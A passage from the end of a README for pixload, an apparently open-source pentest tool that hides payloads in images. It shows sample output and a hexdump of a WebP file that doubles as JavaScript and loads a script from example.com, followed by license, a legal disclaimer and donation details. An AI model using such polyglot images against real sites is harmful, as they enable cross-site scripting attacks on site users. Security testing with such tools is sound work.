403 | [>] Generating output file
404 | [✔] File saved to: payload.webp
405 | 
406 | [>] Injecting payload into payload.webp
407 | [✔] Payload was injected successfully
408 | 
409 | payload.webp: RIFF (little-endian) data, Web/P image
410 | 
411 | 00000000  52 49 46 46 2f 2a 00 00  57 45 42 50 56 50 38 4c  |RIFF/*..WEBPVP8L|
412 | 00000010  ff ff ff 00 2f 00 00 00  10 07 10 11 11 88 88 fe  |..../...........|
413 | 00000020  07 00 2a 2f 3d 31 3b 3c  73 63 72 69 70 74 20 73  |..*/=1;<script s|
414 | 00000030  72 63 3d 2f 2f 65 78 61  6d 70 6c 65 2e 63 6f 6d  |rc=//example.com|
415 | 00000040  3e 3c 2f 73 63 72 69 70  74 3e 3b                 |></script>;|
416 | 0000004b
417 | ```
418 | 
419 | See [pixload-webp(1)](https://github.com/sighook/pixload/blob/master/pixload-webp.1.pod)
420 | manual page for more information.
421 | 
422 | ## LICENSE
423 | 
424 | WTFPL version 2.
425 | See [LICENSE](https://github.com/sighook/pixload/blob/master/LICENSE)
426 | for more information.
427 | 
428 | ## LEGAL DISCLAIMER
429 | 
430 | The author does not hold any responsibility for the bad use
431 | of this tool, remember that attacking targets without prior
432 | consent is illegal and punished by law.
433 | 
434 | ## DONATIONS
435 | 
436 | - BTC: `bc1qj4g98svq6qh3q2ap37v52nsvusa76c3cnmcdmx`
437 | 
438 | - PAYPAL: `alexandr.savca89@gmail.com`
439 | 
440 | Highly appreciated.
441 | 
442 | 
443 | <!-- vim:sw=2:ts=2:sts=2:et:cc=80
444 | End of file. -->
445 | 


--------------------------------------------------------------------------------